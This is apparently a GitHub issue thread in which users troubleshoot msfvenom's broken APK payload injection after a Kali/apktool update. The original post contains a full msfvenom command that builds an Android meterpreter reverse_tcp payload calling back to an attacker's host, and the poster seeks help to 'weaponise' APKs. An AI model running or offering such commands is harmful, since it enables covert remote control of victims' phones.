Closed smchaitu closed 5 years ago
Have you tried to update the metasploit?
I suspect you have updated to Kali 2018.4 which broke msfvenom's implementation of apktool. I have raised this already, but it is unlikely that the issue will be resolved in the near future:
https://github.com/rapid7/metasploit-framework/issues/11024 https://github.com/iBotPeaches/Apktool/issues/1934
A ticket was already raised within the Kali Bug Tracker -- https://bugs.kali.org/view.php?id=5126, and the issue appears to originate due to upstream changes within Debian itself:
This is either a Debian bug, or it's a bug in apktool itself upstream - we (Kali) import the package as is from Debian without modifying it. I took a look and did not see any bugs in their bug tracker ( https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=apktool )
I'm able to reproduce the issue as well, I just grabbed the first apk I found called Diary on apkpure, and ran the same commands against it that you did and get the same result.
I did notice that Debian's bump to 2.3.4 removed a packaged jar file, but after attempting to roll back that patch, I had the same issue. I also tried older versions from Debian Sid (2.2.1) but was unable to get msfvenom to use it. I do believe this bug should be opened with Debian.
For now, the capability to weaponise APKs using msfvenom appears to be on hold.
Is there a alternative tool other than apktool to rebuild decompiled apks that successfully works?
Could I do this manually and recompile on windows with apktool? I attempted and received another error in windows lol..
I suggest you uninstall Metasploit Community/Pro and switch to the one built into Kali linux first. Also, your msfvenom syntax is wrong.
error with msfvenom while creating payload apk & msfconsole
1.i am runnung kali linux light live with cd
i need solution it results same for both msfconsole & msfvenom -p android/meterpreter/reverse_tcp LHOST=my_ip LPORT=8080 R > app.apk
i am new to kali&metasploit
i need to genarate apk payload